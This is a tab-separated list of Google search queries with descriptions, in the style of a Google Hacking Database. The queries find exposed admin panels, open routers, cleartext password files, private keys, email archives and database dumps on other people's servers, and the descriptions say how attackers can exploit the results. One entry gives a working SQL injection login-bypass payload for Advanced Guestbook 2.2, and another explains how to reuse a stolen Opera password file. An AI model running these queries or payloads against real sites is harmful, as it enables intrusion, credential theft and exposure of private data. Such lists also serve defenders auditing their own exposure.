"Welcome to phpMyAdmin" " Create new database"	"Welcome to phpMyAdmin" " Create new database"	phpMyAdmin is a widly spread webfrontend used to mantain sql databases. The default security mechanism is to leave it up to the admin of the website to put a .htaccess file in the directory of the application. Well gues what, obviously some admins are either too lazy or don't know how to secure their directories. These pages should obviously not be accessable to the public without some kind of password ;-)
intitle:"Index of c:\Windows"	intitle:"Index of c:\Windows"	These pages indicate that they are sharing the C:\WINDOWS directory, which is the system folder for many Windows installations.
warning "error on line" php sablotron	warning "error on line" php sablotron	sablotron is an XML toolit thingie. This query hones in on error messages generated by this toolkit. These error

		messages reveal all sorts of interesting stuff such as source code snippets, path and filename info, etc.
"Most Submitted Forms and Scripts" "this section"	"Most Submitted Forms and Scripts" "this section"	More www statistics on the web. This one is very nice.. Lots of directory info, and client access statistics, email addresses.. lots of good stuff.These are SOOO dangerous, especially if INTRANET users get logged... talk about mapping out an intranet quickly...
inurl:changepassword.asp	inurl:changepassword.asp	This is a common script for changing passwords. Now, this doesn't actually reveal the password, but it provides great information about the security layout of a server. These links can be used to troll around a website.
"Select a database to view" intitle:"filemaker pro"	"Select a database to view" intitle:"filemaker pro"	An oldie but a goodie. This search locates servers which provides access to Filemaker pro databases via the web. The severity of this search varies wildly depending on the security of the database itself. Regardless, if Google can crawl it, it's potentially using cleartext authentication.
"not for distribution" confidential	"not for distribution" confidential	The terms "not for distribution" and confidential indicate a sensitive document. Results vary wildly, but web-based documents are for public viewing, and should neither be considered confidential or private.
"Thank you for your order" +receipt	"Thank you for your order" +receipt	After placing an order via the web, many sites provide a page containing the phrase "Thank you for your order" and provide a receipt for future reference. At the very least, these pages can provide insight into the structure of a web-based shop.
allinurl:intranet admin	allinurl:intranet admin	According to whatis.com: "An intranet is a private network that is contained within an enterprise. [...] The main purpose of an intranet is to share company information and computing resources among employees [...] and in

		general looks like a private version of the Internet." Intranets, by definition should not be available to the Internet's unwashed masses as they may contain private corporate information. Some of these pages are simply portals to an Intranet site, which helps with information gathering.
intitle:"Nessus Scan Report" "This file was generated by Nessus"	intitle:"Nessus Scan Report" "This file was generated by Nessus"	This search yeids nessus scan reports. Even if some of the vulnerabilities have been fixed, we can still gather valuable information about the network/hosts. This also works with ISS and any other vulnerability scanner which produces reports in html or text format.
intitle:"index.of.personal"	intitle:"index.of.personal"	This directory has various personal documents and pictures.
"This report lists" "identified by Internet Scanner"	"This report lists" "identified by Internet Scanner"	This search yeids ISS scan reports, revealing potential vulnerabilities on hosts and networks. Even if some of the vulnerabilities have been fixed, information about the network/hosts can still be gleaned.
"Network Host Assessment Report" "Internet Scanner"	"Network Host Assessment Report" "Internet Scanner"	This search yeids ISS scan reports, revealing potential vulnerabilities on hosts and networks. Even if some of the vulnerabilities have been fixed, information about the network/hosts can still be gleaned.
"Network Vulnerability Assessment Report"	"Network Vulnerability Assessment Report"	This search yeids vulnerability scanner reports, revealing potential vulnerabilities on hosts and networks. Even if some of the vulnerabilities have been fixed, information about the network/hosts can still be gleaned.
"Host Vulnerability Summary Report"	"Host Vulnerability Summary Report"	This search yeids host vulnerability scanner reports, revealing potential vulnerabilities on hosts and networks. Even if some of the vulnerabilities have been fixed, information about the network/hosts can still be gleaned.
intitle:index.of inbox	intitle:index.of inbox	This search reveals potential location for mailbox files. In some cases, the

		data in this directory or file may be of a very personal nature and may include sent and received emails and archives of email data.
intitle:index.of inbox dbx	intitle:index.of inbox dbx	This search reveals potential location for mailbox files. In some cases, the data in this directory or file may be of a very personal nature and may include sent and received emails and archives of email data.
intitle:index.of cleanup.log	intitle:index.of inbox dbx	This search reveals potential location for mailbox files by keying on the Outlook Express cleanup.log file. In some cases, the data in this directory or file may be of a very personal nature and may include sent and received emails and archives of email data.
"#mysql dump" filetype:sql	"#mysql dump" filetype:sql	This reveals mySQL database dumps. These database dumps list the structure and content of databases, which can reveal many different types of sensitive information.
allinurl:install/install.php	allinurl:install/install.php	Pages with install/install.php files may be in the process of installing a new service or program. These servers may be insecure due to insecure default settings. In some cases, these servers may allow for a new installation of a program or service with insecure settings. In other cases, snapshot data about an install process can be gleaned from cached page images.
inurl:vbstats.php "page generated"	inurl:vbstats.php "page generated"	This is your typical stats page listing referrers and top ips and such. This information can certainly be used to gather information about a site and its visitors.
"index of" / lck	"index of" / lck	These lock files often contain usernames of the user that has locked the file. Username harvesting can be done using this technique.
"Index of" / "chat/logs"	"Index of" / "chat/logs"	This search reveals chat logs. Depending on the contents of the logs, these files could contain just about

		anything!
index.of perform.ini	index.of perform.ini	This file contains information about the mIRC client and may include channel and user names.
"SnortSnarf alert page"	"SnortSnarf alert page"	snort is an intrusion detection system. SnorfSnarf creates pretty web pages from intrusion detection data. These pages show what the bad guys are doing to a system. Generally, it's a bad idea to show the bad guys what you've noticed.
inurl:"newsletter/admin/" intitle:"newsletter admin"	inurl:"newsletter/admin/" intitle:"newsletter admin"	These pages generally contain newsletter administration pages. Some of these site are password protected, others are not, allowing unauthorized users to send mass emails to an entire mailing list.
inurl:"newsletter/admin/"	inurl:"newsletter/admin/"	These pages generally contain newsletter administration pages. Some of these site are password protected, others are not, allowing unauthorized users to send mass emails to an entire mailing list. This is a less acurate search than the similar intitle:"newsletter admin" search.
inurl:phpSysInfo/ "created by phpsysinfo"	inurl:phpSysInfo/ "created by phpsysinfo"	This statistics program allows the an admin to view stats about a webserver. Some sites leave this in a publically accessible web page. Hackers could have access to data such as the real IP address of the server, server memory usage, general system info such as OS, type of chip, hard-drive makers and much more.
allinurl: admin mdb	allinurl: admin mdb	Not all of these pages are administrator's access databases containing usernames, passwords and other sensitive information, but many are!
allinurl:"exchange/logon.asp"	allinurl:"exchange/logon.asp"	According to Microsoft "Microsoft (R) Outlook (TM) Web Access is a Microsoft Exchange Active Server Application that gives you private access to your Microsoft Outlook or

		Microsoft Exchange personal e-mail account so that you can view your Inbox from any Web Browser. It also allows you to view Exchange server public folders and the Address Book from the World Wide Web. Anyone can post messages anonymously to public folders or search for users in the Address Book. " Now, consider for a moment and you will understand why this could be potentially bad.
intitle:"Index of" cfide	intitle:"Index of" cfide	This is the top level directory of ColdFusion, a powerful web development environment. This directory most likely contains sensitive information about a ColdFusion developed site.
intitle:"ColdFusion Administrator Login"	intitle:"ColdFusion Administrator Login"	This is the default login page for ColdFusion administration. Although many of these are secured, this is an indicator of a default installation, and may be inherantly insecure. In addition, this search provides good information about the version of ColdFusion as well as the fact that ColdFusion is installed on the server.
intitle:"Error Occurred" "The error occurred in" filetype:cfm	intitle:"Error Occurred" "The error occurred in" filetype:cfm	This is a typical error message from ColdFusion. A good amount of information is available from an error message like this including lines of source code, full pathnames, SQL query info, database name, SQL state info and local time info.
inurl:login.cfm	inurl:login.cfm	This is the default login page for ColdFusion. Although many of these are secured, this is an indicator of a default installation, and may be inherantly insecure. In addition, this search provides good information about the version of ColdFusion as well as the fact that ColdFusion is installed on the server.
filetype:cfm "cfapplication	filetype:cfm "cfapplication name" password	These files contain ColdFusion source code. In some cases, the pages are

name" password		examples that are found in discussion forums. However, in many cases these pages contain live sourcecode with usernames, database names or passwords in plaintext.
inurl:":10000" intext:webmin	inurl:":10000" intext:webmin	Webmin is a html admin interface for Unix boxes. It is run on a proprietary web server listening on the default port of 10000.
allinurl:/examples/jsp/snp/snoop.jsp	allinurl:/examples/jsp/snp/snoop.jsp	These pages reveal information about the server including path information, port information, etc.
allinurl:servlet/SnoopServlet	allinurl:servlet/SnoopServlet	These pages reveal server information such as port, server software version, server name, full paths, etc.
intitle:"Test Page for Apache"	intitle:"Test Page for Apache"	This is the default web page for Apache 1.2.6 - 1.3.9. Hackers can use this information to determine the version of the web server, or to search Google for vulnerable targets. In addition, this indicates that the web server is not well maintained.
inurl:login.asp	inurl:login.asp	This is a typical login page. It has recently become a target for SQL injection. Comsec's article at http://www.governmentsecurity.org/articles/SQLinjectionBasicTutorial.php brought this to my attention.
inurl:/admin/login.asp	inurl:/admin/login.asp	This is a typical login page. It has recently become a target for SQL injection. Comsec's article at http://www.governmentsecurity.org/articles/SQLinjectionBasicTutorial.php brought this to my attention.
"Running in Child mode"	"Running in Child mode"	This is a gnutella client that was picked up by google. There is a lot of data present including transfer statistics, port numbers, operating system, memory, processor speed, ip addresses, and gnutella client versions.
"This is a Shareaza Node"	"This is a Shareaza Node"	These pages are from Shareaza client programs. Various data is displayed including client version, ip address,

		listening ports and uptime.
"VNC Desktop" inurl:5800	"VNC Desktop" inurl:5800	VNC is a remote-controlled desktop product. Depending on the configuration, remote users may not be presented with a password. Even when presented with a password, the mere existance of VNC can be important to an attacker, as is the open port of 5800.
"index of cgi-bin"	"index of cgi-bin"	CGI directories contain scripts which can often be exploited by attackers. Regardless of the vulnerability of such scripts, a directory listing of these scripts can prove helpful.
intitle:Snap.Server inurl:Func=	intitle:Snap.Server inurl:Func=	This page reveals the existance of a SNAP server (Netowrk attached server or NAS devices) Depending on the configuration, these servers may be vulnerable, but regardless the existance of this server is useful for information gathering.
inurl:server-status "apache"	inurl:server-status "apache"	This page shows all sort of information about the Apache web server. It can be used to track process information, directory maps, connection data, etc.
eggdrop filetype:user user	eggdrop filetype:user user	These are eggdrop config files. Avoiding a full-blown descussion about eggdrops and IRC bots, suffice it to say that this file contains usernames and passwords for IRC users.
intitle:"index of" intext:connect.inc	intitle:"index of" intext:connect.inc	These files often contain usernames and passwords for connection to mysql databases. In many cases, the passwords are not encoded or encrypted.
intitle:"MikroTik RouterOS Managing Webpage"	intitle:"MikroTik RouterOS Managing Webpage"	This is the front page entry point to a "Mikro Tik" Router.
inurl:fcgi-bin/echo	inurl:fcgi-bin/echo	This is the fastcgi echo script, which provides a great deal of information including port numbers, server software versions, port numbers, ip addresses, path names, file names, time

		zone, process id's, admin email, fqdns, etc!
inurl:cgi-bin/printenv	inurl:cgi-bin/printenv	This is the print environemnts script which lists sensitive information such as path names, server names, port numbers, server software and version numbers, administrator email addresses and more.
intitle:"Execution of this script not permitted"	intitle:"Execution of this script not permitted"	This is a cgiwrap error message which displays admin name and email, port numbers, path names, and may also include optional information like phone numbers for support personnel.
inurl:perl/printenv	inurl:perl/printenv	This is the print environemnts script which lists sensitive information such as path names, server names, port numbers, server software and version numbers, administrator email addresses and more.
inurl:j2ee/examples/jsp	inurl:j2ee/examples/jsp	This directory contains sample JSP scripts which are installed on the server. These programs may have security vulnerabilities and can be used by an attacker to footprint the server.
inurl:ojspdemos	inurl:ojspdemos	This directory contains sample Oracle JSP scripts which are installed on the server. These programs may have security vulnerabilities and can be used by an attacker to footprint the server.
inurl:server-info "Apache Server Information"	inurl:server-info "Apache Server Information"	This is the Apache server-info program. There is so much sensitive stuff listed on this page that it's hard to list it all here. Some informatino listed here includes server version and build, software versions, hostnames, ports, path info, modules installed, module info, configuration data and so much more....
inurl:pls/admin_/gateway.htm	inurl:pls/admin_/gateway.htm	This is a default login portal used by Oracle. In addition to the fact that this file can be used to footprint a web server and determine it's version and software, this page has been targeted in many vulnerability reports as being a

		source of an SQL injection vulnerability. This problem, when exploited can lead to unauthorized privileges to the databse. In addition, this page may allow unauthorized modification of parameters on the server.
inurl:/pls/sample/admin_/help/	inurl:/pls/sample/admin_/help/	This is the default installation location of Oracle manuals. This helps in footprinting a server, allowing an attacker to determine software version information which may aid in an attack.
intitle:"Gateway Configuration Menu"	intitle:"Gateway Configuration Menu"	This is a normally protected configuration menu for Oracle Portal Database Access Descriptors (DADs) and Listener settings. This page is normally password protected, but Google has uncovered sites which are not protected. Attackers can make changes to the servers found with this query.
intitle:"Remote Desktop Web Connection" inurl:tsweb	intitle:Remote.Desktop.Web.Connection inurl:tsweb	This is the login page for Microsoft's Remote Desktop Web Connection, which allows remote users to connect to (and optionally control) a user's desktop. Although authentication is built into this product, it is still possible to run this service without authentication. Regardless, this search serves as a footprinting mechanisms for an attacker.
inurl:php inurl:hlstats intext:"Server Username"	inurl:php inurl:hlstats intext:"Server Username"	This page shows the halflife stat script and reveals the username to the system. Table structure, database name and recent SQL queries are also shown on most systems.
intext:"Tobias Oetiker" "traffic analysis"	intext:"Tobias Oetiker" "traffic analysis"	This is the MRTG traffic analysis pages. This page lists information about machines on the network including CPU load, traffic statistics, etc. This information can be useful in mapping out a network.
inurl:tdbin	inurl:tdbin	This is the default directory for

		TestDirector (http://www.mercuryinteractive.com/products/testdirector/). This program contains sensitive information including software defect data which should not be publically accessible.
+intext:"webalizer" +intext:"Total Usernames" +intext:"Usage Statistics for"	+intext:"webalizer" +intext:"Total Usernames" +intext:"Usage Statistics for"	The webalizer program displays various information but this query displays usernames that have logged into the site. Attckers can use this information to mount an attack.
inurl:perform filetype:ini	inurl:perform filetype:ini	Displays the perform.ini file used by the popular irc client mIRC. Often times has channel passwords and/or login passwords for nickserv.
intitle:"index of" intext:globals.inc	intitle:"index of" intext:globals.inc	contains plaintext user/pass for mysql database
filetype:pdf "Assessment Report" nessus	filetype:pdf "Assessment Report" nessus	These are reports from the Nessus Vulnerability Scanner. These report contain detailed information about the vulnerabilities of hosts on a network, a veritable roadmap for attackers to folow.
inurl:"smb.conf" intext:"workgroup" filetype:conf conf	inurl:"smb.conf" intext:"workgroup" filetype:conf	These are samba configuration files. They include information about the network, trust relationships, user accounts and much more. Attackers can use this information to recon a network.
intitle:"Samba Web Administration Tool" intext:"Help Workgroup"	intitle:"Samba Web Administration Tool" intext:"Help Workgroup"	This search reveals wide-open samba web adminitration servers. Attackers can change options on the server.
filetype:properties inurl:db intext:password	filetype:properties inurl:db intext:password	The db.properties file contains usernames, decrypted passwords and even hostnames and ip addresses of database servers. This is VERY severe, earning the highest danger rating.
inurl:names.nsf?opendatabase	inurl:names.nsf?opendatabase	A Login portal for Lotus Domino servers. Attackers can attack this page or use it to gather information about the server.

"index of" inurl:recycler	"index of" inurl:recycler	This is the default name of the Windows recycle bin. The files in this directory may contain sensitive information. Attackers can also crawl the directory structure of the site to find more information. In addition, the SID of a user is revealed also. An attacker could use this in a variety of ways.
filetype:conf inurl:firewall -intitle:cvs	filetype:conf inurl:firewall -intitle:cvs	These are firewall configuration files. Although these are often examples or sample files, in many cases they can still be used for information gathering purposes.
filetype:inc intext:mysql_connect	filetype:inc intext:mysql_connect	INC files have PHP code within them that contain unencrypted usernames, passwords, and addresses for the corresponding databases. Very dangerous stuff. The mysql_connect file is especially dangerous because it handles the actual connection and authentication with the database.
"HTTP_FROM=googlebot" googlebot.com "Server_Software="	"HTTP_FROM=googlebot" googlebot.com "Server_Software="	These pages contain trace information that was collected when the googlebot crawled a page. The information can include many different things such as path names, header information, server software versions and much more. Attackers can use information like this to formulate an attack against a site.
"Request Details" "Control Tree" "Server Variables"	"Request Details" "Control Tree" "Server Variables"	These pages contain a great deal of information including path names, session ID's, stack traces, port numbers, ip addresses, and much much more. Attackers can use this information to formulate a very advanced attack against these targets.
filetype:reg reg +intext:"defaultusername" +intext:"defaultpassword"	filetype:reg reg +intext:"defaultusername" +intext:"defaultpassword"	These pages display windows registry keys which reveal passwords and/or usernames.
inurl:metaframexp/default/login.asp | intitle:"Metaframe	inurl:metaframexp/default/login.asp | intitle:"Metaframe XP Login"	These are Citrix Metaframe login portals. Attackers can use these to profile a site and can use insecure

XP Login"		setups of this application to access the site.
inurl:/Citrix/Nfuse17/	inurl:/Citrix/Nfuse17/	These are Citrix Metaframe login portals. Attackers can use these to profile a site and can use insecure setups of this application to access the site.
filetype:wab wab	filetype:wab wab	These are Microsoft Outlook Mail address books. The information contained will vary, but at the least an attacker can glean email addresses and contact information.
filetype:reg reg HKEY_CURRENT_USER username	filetype:reg reg HKEY_CURRENT_USER username	This search finds registry files from the Windows Operating system. Considered the "soul" of the system, these files, and snippets from these files contain sensitive information, in this case usernames and/or passwords.
filetype:reg reg HKEY_CURRENT_USER SSHHOSTKEYS	filetype:reg reg HKEY_CURRENT_USER SSHHOSTKEYS	This search reveals SSH host key fro the Windows Registry. These files contain information about where the user connects including hostnames and port numbers, and shows sensitive information such as the SSH host key in use by that client.
inurl:/tmp	inurl:/tmp	Many times, this search will reveal temporary files and directories on the web server. The information included in these files and directories will vary, but an attacker could use this information in an information gathering campaign.
filetype:mbx mbx intext:Subject	filetype:mbx mbx intext:Subject	These searches reveal Outlook v 1-4 or Eudora mailbox files. Often these are made public on purpose, sometimes they are not. Either way, addresses and email text can be pulled from these files.
intitle:"eMule *" intitle:"- Web Control Panel" intext:"Web Control Panel" "Enter your	intitle:"eMule *" intitle:"- Web Control Panel" intext:"Web Control Panel" "Enter your password here."	This iks the login page for eMule, the p2p file-sharing program. These pages forego the login name, prompting only for a password. Attackers can use this to profile a target, gather information and ultimately upload or download

password here."		files from the target (which is a function of the emule program itself)
inurl:"webadmin" filetype:nsf	inurl:"webadmin" filetype:nsf	This is a standard login page for Domino Web Administration.
filetype:reg reg +intext:"internet account manager"	filetype:reg reg +intext:"internet account manager"	This google search reveals users names, pop3 passwords, email addresses, servers connected to and more. The IP addresses of the users can also be revealed in some cases.
filetype:eml eml +intext:"Subject" +intext:"From" +intext:"To"	filetype:eml eml +intext:"Subject" +intext:"From"	These are oulook express email files which contain emails, with full headers. The information in these emails can be useful for information gathering about a target.
inurl:vtund.conf intext:pass -cvs	inurl:vtund.conf intext:pass -cvs	Theses are vtund configuration files (http://vtun.sourceforge.net). Vtund is an encrypted tunneling program. The conf file holds plaintext passwords. Many sites use the default password, but some do not. Regardless, attackers can use this information to gather information about a site.
inurl:login filetype:swf swf	inurl:login filetype:swf swf	This search reveals sites which may be using Shockwave (Flash) as a login mechanism for a site. The usernames and passwords for this type of login mechanism are often stored in plaintext inside the source of the .swl file.
filetype:url +inurl:"ftp://" +inurl:"@"	filetype:url +inurl:"ftp://" +inurl:"@"	These are FTP Bookmarks, some of which contain plaintext login names and passwords.
intitle:guestbook "advanced guestbook 2.2 powered"	intitle:guestbook "advanced guestbook 2.2 powered"	Advanced Guestbook v2.2 has an SQL injection problem which allows unauthorized access. AttackerFrom there, hit "Admin" then do the following:Leave username field blank.For password, enter this exactly:') OR ('a' = 'aYou are now in the Guestbook's Admin section.http://www.securityfocus.com/bid/10209
intitle:"300 multiple choices"	intitle:"300 multiple choices"	This search shows sites that have the 300 error code, but also reveal a server

		tag at the bottom of the page that an attacker could use to profile a system.
intitle:"index of" mysql.conf OR mysql_config	intitle:"index of" mysql.conf OR mysql_config	This file contains port number, version number and path info to MySQL server.
filetype:lic lic intext:key	filetype:lic lic intext:key	License files for various software titles that may contain contact info and the product version, license, and registration in a .LIC file.
"please log in"	"please log in"	This is a simple search for a login page. Attackers view login pages as the "front door" to a site, but the information about where this page is stored and how it is presented can provide clues about breaking into a site.
filetype:log username putty	filetype:log username putty	These log files record info about the SSH client PUTTY. These files contain usernames, site names, IP addresses, ports and various other information about the SSH server connected to.
filetype:log inurl:"password.log"	filetype:log inurl:"password.log"	These files contain cleartext usernames and passwords, as well as the sites associated with those credentials. Attackers can use this information to log on to that site as that user.
intitle:"Dell Remote Access Controller"	intitle:"Dell Remote Access Controller"	This is the Dell Remote Access Controller that allows remote administration of a Dell server.
filetype:vsd vsd network -samples -examples	filetype:vsd vsd network -samples -examples	Reveals network maps (or any other kind you seek) that can provide sensitive information such as internal IPs, protocols, layout, firewall locations and types, etc. Attackers can use these files in an information gathering campaign.
intitle:intranet inurl:intranet +intext:"human resources"	intitle:intranet inurl:intranet +intext:"human resources"	According to whatis.com: "An intranet is a private network that is contained within an enterprise. [...] The main purpose of an intranet is to share company information and computing resources among employees [...] and in general looks like a private version of

		the Internet."This search allows you to not only access a companies private network, but also provides employee listings and other sensitive information that can be incredibly useful for any social engineering endeavour
filetype:log cron.log	filetype:log cron.log	Displays logs from cron, the *nix automation daemon. Can be used to determine backups, full and realtive paths, usernames, IP addresses and port numbers of trusted network hosts, or just about anything the admin of the box decides to automate. An attacker could use this information to possibly determine what extra vulnerable services are running on the machine, to find the location of backups, and, if the sysadmin uses cron to backup their logfiles, this cron log will give that away too.
filetype:log access.log -CVS	filetype:log access.log -CVS	These are http server access logs which contain all sorts of information ranging from usernames and passwords to trusted machines on the network to full paths on the server. Could be VERY useful in scoping out a potential target.
filetype:blt blt +intext:screennam e	filetype:blt blt +intext:screenname	Reveals AIM buddy lists, including screenname and who's on their 'buddy' list and their 'blocked' list.
filetype:dat "password.dat"	filetype:dat "password.dat"	This file contains plaintext usernames and password. Deadly information in the hands of an attacker.
intitle:intranet inurl:intranet +intext:"phone"	intitle:intranet inurl:intranet +intext:"phone"	These pages are often private intranet pages which contain phone listings and email addresses. These pages can be used as a sort of online "dumpster dive".
filetype:conf slapd.conf	filetype:conf slapd.conf	slapd.conf is the file that contains all the configuration for OpenLDAP, including the root password, all in clear text. Other useful information that can be gleaned from this file includes full paths of other related installed applications, the r/w/e permissions for

		various files, and a bunch of other stuff.
inurl:php.ini filetype:ini	inurl:php.ini filetype:ini	The php.ini file contains all the configuration for how PHP is parsed on a server. It can contain default database usernames, passwords, hostnames, IP addresses, ports, initialization of global variables and other information. Since it is found by default in /etc, you might be able to find a lot more unrelated information in the same directory.
inurl:domcfg.nsf	inurl:domcfg.nsf	This will return a listing of servers running Lotus Domino. These servers by default have very descriptive error messages which can be used to obtain path and OS information. In addition, adding "Login Form Mapping" to the search will allow you to see detailed information about a few of the servers that have this option enabled.
filetype:pem intext:private	filetype:pem intext:private	This search will find private key files... Private key files are supposed to be, well... private.
"Mecury Version" "Infastructure Group"	"Mecury Version" "Infastructure Group"	Mecury is a centralized ground control program for research satellites. This query simply locates servers running this software. As it seems to run primarily on PHP and MySQL, there are many possible vulnerabilities associated with it.
filetype:conf inurl:proftpd.conf -sample	filetype:conf inurl:proftpd.conf -sample	A standard FTP configuration file that provides far too many details about how the server is setup, including installation paths, location of logfiles, generic username and associated group, etc
+htpasswd +WS_FTP.LOG filetype:log	+htpasswd +WS_FTP.LOG filetype:log	WS_FTP.LOG can be used in many ways to find more information about a server. This query is very flexible, just substitute "+htpasswd" for "+FILENAME" and you may get several hits that you hadn't seen with the 'normal' search. Filenames suggested by the forum to explore are:

		phpinfo, admin, MySQL, password, htdocs, root, Cisco, Oracle, IIS, resume, inc, sql, users, mdb, frontpage, CMS, backend, https, editor, intranet . The list goes on and on..A different approach might be "allinurl: "some.host.com" WS_FTP.LOG filetype:log" which tells you more about who's uploading files to a specific site.
"error found handling the request" cocoon filetype:xml	"error found handling the request" cocoon filetype:xml	Cocoon is an XML publishing framework. It allows you to define XML documents and transformations to be applied on it, to eventually generate a presentation format of your choice (HTML, PDF, SVG). For more information read http://cocoon.apache.org/2.1/overview.htmlThis Cocoon error displays library functions, cocoon version number, and full and/or relative path names.
intitle:"Big Sister" +"OK Attention Trouble"	intitle:"Big Sister" +"OK Attention Trouble"	This search reveals Internal network status information about services and hosts.
inurl:"/cricket/grapher.cgi"	inurl:"/cricket/grapher.cgi"	This search reveals information about internal networks, such as configuration, services, bandwidth.
inurl:"cacti" +inurl:"graph_view.php" +"Settings Tree View" -cvs -RPM	inurl:"cacti" +inurl:"graph_view.php" +"Settings Tree View" -cvs -RPM	This search reveals internal network info including architecture, hosts and services available.
intitle:"System Statistics" +"System and Network Information Center"	intitle:"System Statistics" +"System and Network Information Center"	This search reveals internal network information including network configuratino, ping times, services, and host info.
inurl:"wvdial.conf" intext:"password"	inurl:"wvdial.conf" intext:"password"	The wvdial.conf is used for dialup connections.it contains phone numbers, usernames and passwords in cleartext.
filetype:inc dbconn	filetype:inc dbconn	This file contains the username and password the website uses to connect to the db. Lots of these Google results

		don't take you straight to 'dbconn.inc', instead they show you an error message -- that shows you exactly where to find dbconn.inc!!
inurl:"slapd.conf" intext:"credentials" -manpage -"Manual Page" -man: -sample	inurl:"slapd.conf" intext:"credentials" -manpage -"Manual Page" -man: -sample	slapd.conf is the configuration file for slapd, the opensource LDAP deamon. The key "credentinals" contains passwords in cleartext.
inurl:"slapd.conf" intext:"rootpw" -manpage -"Manual Page" -man: -sample	inurl:"slapd.conf" intext:"rootpw" -manpage -"Manual Page" -man: -sample	slapd.conf is the configuration file for slapd, the opensource LDAP deamon. You can view a cleartext or crypted password for the "rootdn".
filetype:ini ws_ftp pwd	filetype:ini ws_ftp pwd	The encryption method used in WS_FTP is _extremely_ weak. These files can be found with the "index of" keyword or by searching directly for the PWD= value inside the configuration file.
inurl:forward filetype:forward -cvs	inurl:forward filetype:forward -cvs	Users on *nix boxes can forward their mail by placing a .forward file in their home directory. These files reveal email addresses.
"Invision Power Board Database Error"	"Invision Power Board Database Error"	These are SQL error messages, ranging from to many connections, access denied to user xxx, showing full path info to the php files etc.. There is an exploitable bug in version 1.1 of this software and the current version is 1.3 available for download on the site.
filetype:netrc password	filetype:netrc password	The .netrc file is used for automatic login to servers. The passwords are stored in cleartext.
signin filetype:url	signin filetype:url	Javascript for user validation is a bad idea as it shows cleartext user/pass combos. There is one googledork who forgot that.
filetype:dat wand.dat	filetype:dat wand.dat	The world-famous web-browser Opera has the ability to save the password for you, and it call the system "Magic Wand". When on a site, you can save the username and password to the

		magic wand, then on the site again, click the magic wand icon and it will fill it out automaticly for you. What a joy! Opera saves this file on you'r computer, it is located (on winXP) here: D:\Documents and Settings\Peefy\Programdata\Opera\Opera75\profile\wand.dat for me offcourse, change it so its suitable for you..But, if you don't have a descrambler or whatever, the passwords arent cleartext, but you have to put the wand file in the location specified above, then open opera, click tools, Wand Passwords, then see the URL's saved, then go to theese URL's and click the wand button.
"Index Of /network" "last modified"	"Index Of /network" "last modified"	Many of these directories contain information about the network, though an attacker would need a considerable amount of patience to find it.
inurl:/eprise/	inurl:/eprise/	silkRoad Eprise is a dynamic content management product that simplifies the flow of content to a corporate website. The software requires NT 4, Windows 2000 or Solaris and is used by high-profile corporations. If an attacker cuts the url after the eprise/ directory, he is presented with the admin logon screen.
intitle:"album permissions" "Users who can modify photos" "EVERYBODY"	intitle:"album permissions" "Users who can modify photos" "EVERYBODY"	Gallery (http://gallery.menalto.com) is software that allows users to create webalbums and upload pictures to it. In some installations Gallery lets you access the Admin permission page album_permissions.php without authentication. Even if not "everybody" has modify rights, an attacker can do a search for "users who can see the album" to retrieve valid usernames for the gallery.
filetype:cfg mrtg "target[*]" -sample -cvs -example	filetype:cfg mrtg "target[*]" -sample -cvs -example	Mrtg.cfg is the configuration file for polling SNMP enabled devices. The community string (often 'public') is found in the line starting with target:#Target[test]:

		1.3.6.1.4.1.2021.10.1.5.1&1.3.6.1.4.1.2021.10.1.5.2:public@localhostRemember not all targets are SNMP devices. Users can monitor CPU info for example.
filetype:ldb admin	filetype:ldb admin	According to filext.com, the ldb file is "A lock file is used to keep muti-user databases from being changed in the same place by two people at the same time resulting in data corruption." These Access lock files contain the username of the last user and they ALWAYS have the same filename and location as the database. Attackers can substitute mdb for ldb and dowload the database file.
inurl:search/admin.php	inurl:search/admin.php	phpMySearch is a personal search engine that one can use to provide a search feature for one's own Web site. With this search an attacker can find admin logon screens. This software does not seem to be very popular yet, but would allow attackers to access indexed information about the host if compromised.
filetype:r2w r2w	filetype:r2w r2w	WRQ Reflection gives you a standard desktop that includes web- and Windows-based terminal emulation and X Windows products. Terminal emulation settings are saved to a configuration file, depending on the version called r1w, r2w, or r4w. If an attacker loads these files he can access the main login screen on mainframe systems for example.
filetype:php inurl:vAuthenticate	filetype:php inurl:vAuthenticate	vAuthenticate is a multi-platform compatible PHP and MySQL script which allows creation of new user accounts new user groups, activate/inactivate groups or individual accounts, set user level, etc. There are two admin users by default with an easy to guess password. The backup admin user can *not* be deleted. There is also a test account with the same

		password that can not be deleted.An attacker can find the default passwords by downloading the software and browsing the .sql files. Default passwords are seldom changed if the user is not *forced* to change them first before using the sofware. This software doesn't enforce such a rule.
intitle:"ZyXEL Prestige Router" "Enter password"	intitle:"ZyXEL Prestige Router" "Enter password"	This is the main authentication screen for the ZyXEL Prestige Router.
"Welcome to the Prestige Web-Based Configurator"	"Welcome to the Prestige Web-Based Configurator"	This is the configuration screen for a Prestige router. This page indicates that the router has not yet been setup and any web user can make changes to the router.
intitle:"ADSL Configuration page"	intitle:"ADSL Configuration page"	This is the status screen for the Solwise ADSL modem. Information available from this page includes IP addresses, MAC addresses, subnet mask, firware version of the modem. Attackers can use this information to formulate an attack.
"Version Info" "Boot Version" "Internet Settings"	"Version Info" "Boot Version" "Internet Settings"	This is the status page for a Belkin Cable/DSL gateway. Information can be retrieved from this page including IP addresses, WAN addresses, MAC addresses, firmware versions, serial numbers, subnet masks, firewall settings, encryption settings, NAT settings and SSID. Attackers can use this information to formulate an attack.
filetype:sql +"IDENTIFIED BY" -cvs	filetype:sql +"IDENTIFIED BY" -cvs	Database maintenance is often automated by use of .sql files wich may contain many lines of batched SQL commands. These files are often used to create databases and set or alter permissions. The passwords used can be either encrypted or even plaintext.An attacker can use these files to acquire database permissions that normally would not be given to the masses.
filetype:sql	filetype:sql password	Database maintenance is often

password		automated by use of .sql files that contain many lines of batched SQL commands. These files are often used to create databases and set or alter permissions. The passwords used can be either encrypted or even plaintext.An attacker can use these files to acquire database permissions that normally would not be given to the masses.
intitle:"Welcome Site/User Administrator" "Please select the language" -demos	intitle:"Welcome Site/User Administrator" "Please select the language" -demos	service providers worldwide use Ensim's products to automate the management of their hosting services. Currently it hosts more than 500,000 Web sites and five million mailboxes.Ensim's uses a control panel GUI to manage the servers. It has four levels of priviledges. The software runs on TCP port 19638, but access is normally limited to trusted hosts only. A local exploit was found by badc0ded.org in virthostmail, part of Ensim WEBppliance Pro.
filetype:pwd service	filetype:pwd service	Microsoft Frontpage extensions appear on virtually every type of scanner. In the late 90's people thought they where hardcore by defacing sites with Frontpage. Today, there are still vulnerable servers found with Google. An attacker can simply take advantage from administrators who 'forget' to set up the policies for Frontpage extensions. An attacker can also search for 'filetype:pwd users'.
